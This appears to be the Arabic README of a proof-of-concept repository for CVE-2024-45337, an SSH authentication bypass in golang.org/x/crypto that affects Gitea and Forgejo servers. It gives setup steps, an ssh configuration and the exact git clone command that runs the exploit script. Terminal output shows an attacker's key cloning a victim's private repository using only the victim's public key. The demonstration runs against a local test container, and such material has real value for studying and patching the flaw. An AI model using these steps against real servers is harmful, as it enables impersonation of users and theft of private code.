
إثبات المفهوم لـ CVE-2024-45337 ضد Gitea و Forgejo
يحتوي هذا المستودع على دليل إثبات المفهوم للثغرة CVE-2024-45337.
يمكن استخدامه لتغليف ssh عند التفاعل مع خادم SSH مطبَّق باستخدام golang.org/x/crypto <= v0.30.0 مع تخزين مؤقت غير آمن للأذونات في رد الاتصال ServerConfig.PublicKeyCallback.
الإصدارات Gitea <= 1.22.4 و Forgejo <= 7.0.11 و 9.0.2 قابلة للاختراق عند استضافتها باستخدام خادم SSH الداخلي. يمكنك انتحال شخصية أي مستخدم طالما تعرف أيًا من المفاتيح العامة المرتبطة بحسابه. يجب أن يكون لديك حساب خاص بك تستخدمه لمصادقة SSH.
docker compose -f docker-compose.forgejo.yml up -d
victim
important_repo وأنشئ commit أولي مع ملف README ليكون لديك ما تستنسخهattacker
GIT_ATTACK_PRIVKEY إلى مسار المفتاح الخاص للحساب الصالحGIT_ATTACK_PUBKEY إلى مسار المفتاح العام المعروف لحساب الهدف الآخر. لا نعرف المفتاح الخاص لذلك الحساب.GIT_SSH إلى مسار script الاستغلال ليقوم git باستخدامه بدلاً من أمر ssh الأصليGIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
استخدم .ssh/config لتحديد المفاتيح أثناء الاستنساخ
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
شغّل ضد حاوية Forgejo 7.0.11 المحلية التي تم إعدادها كما هو موضح أعلاه.
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# حذف المفتاح الخاص للضحية لأغراض العرض
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.